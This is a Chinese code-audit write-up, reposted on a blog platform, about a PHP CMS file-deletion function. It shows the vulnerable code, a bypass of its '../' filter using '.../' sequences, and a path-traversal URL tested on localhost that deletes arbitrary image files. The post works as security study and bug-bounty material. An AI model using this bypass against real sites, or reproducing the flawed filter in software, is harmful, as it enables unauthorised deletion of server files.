代码审计之突破路径限制删除文件

来源;http://bbs.ichunqiu.com/thread-8979-1-1.html?from=ch

0x01 前言:

定期来论坛打个卡,免得那天被坏蛋哥干掉了都不知道,最近玩起代码审计了,挖到的都丢给补天了,重复率挺高的,打算每天坚持审一套系统,提交1个重复,我就挖10个,十个重复,我就挖100个,我就不信会全部重复。。。。。。。。。。。。。。

0x02 开头:

在删除某套系统的时候,发现可控参数进入了unlink函数,给我的第一感觉就是任意文件删除

[p=40, null, left][color=rgb(0, 0, 0)][font=微软雅黑, tahoma, arial]public function delupload(){

$action=isset($_GET['action']) ? $_GET['action'] : null;

$filename=isset($_GET['filename']) ? $_GET['filename'] : null;

$filename=str_replace('../','',$filename);

$filename=trim($filename,'.');

$filename=trim($filename,'/');

if($action=='del' && !empty($filename)){

$filename=G_UPLOAD.$filename;

$size=getimagesize($filename);

$filetype=explode('/',$size['mime']);

if($filetype[0]!='image'){

return false;

exit;

}

unlink($filename);

exit;

}[/font][/color][/p][p=40, null, left][color=rgb(0, 0, 0)][font=微软雅黑, tahoma, arial]

复制代码

0x03 分析:

调用了unlink函数来删除文件

unlink($filename);

而$filename

$filename=isset($_GET['filename']) ? $_GET['filename'] : null;

则是从GET进入的,可控

不过他这里进行了过滤,防止删除其他目录的文件

把../过滤掉了,防止跳转目录

清空了两边的 . 和 /

$filename=str_replace('../','',$filename);

$filename=trim($filename,'.');

$filename=trim($filename,'/');

0x04 突破:


$filename=$_GET['filename'];

$filename=str_replace('../','',$filename);

$filename=trim($filename,'.');

$filename=trim($filename,'/');

echo $filename;

?>

于是就本地实验起来了

直接输入../的话会被清除

开头和结尾清除了/和.

但是这个影响不大,在开头随便加个下一级目录就可以了,结尾肯定是你要删除的文件名,所以也可以无视

主要就是突破清空../

想了一下,竟然清空了../ 那我.../ 不就可以留下一个"."

实际测试成功

这样就可以实现目录跳转删除文件了

于是构造了这么一个url,删除网站根目录的一张照片

http://127.0.0.1/xxxcms/?api/xxxx/xxxxx/&action=del&filename=shaidan/.../...//.../...//.../...//xxxx.jpg

测试成功

0x05 结尾:

可惜的是只能删除网站任意图片

$size=getimagesize($filename);

$filetype=explode('/',$size['mime']);

if($filetype[0]!='image'){

return false;

exit;

}

被这个getimagesize函数限制住了,我测试了一下发现他是根据文件实际内容来判断是什么文件的,小菜鸟技术未入门,没想出怎么突破,本来还在想删除lock,直接重装系统的。。。

文章可能没什么技术含量在里面,毕竟小菜鸟我技术未入门,各位大牛见谅,如果文章中有错误,还望大家指出


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • ¥开启¥ 【iAPP实现进入界面执行逐一显】 〖2017-08-25 15:22:14〗 《//首先开一个线程,因...
    小菜c阅读 11,908评论 0 17
  • 1. Java基础部分 基础部分的顺序:基本语法,类相关的语法,内部类的语法,继承相关的语法,异常的语法,线程的语...
    子非鱼_t_阅读 33,600评论 18 399
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 136,183评论 19 139
  • 国家电网公司企业标准(Q/GDW)- 面向对象的用电信息数据交换协议 - 报批稿:20170802 前言: 排版 ...
    庭说阅读 14,044评论 6 13
  • Php:脚本语言,网站建设,服务器端运行 PHP定义:一种服务器端的HTML脚本/编程语言,是一种简单的、面向对象...
    廖马儿阅读 6,736评论 2 38

友情链接更多精彩内容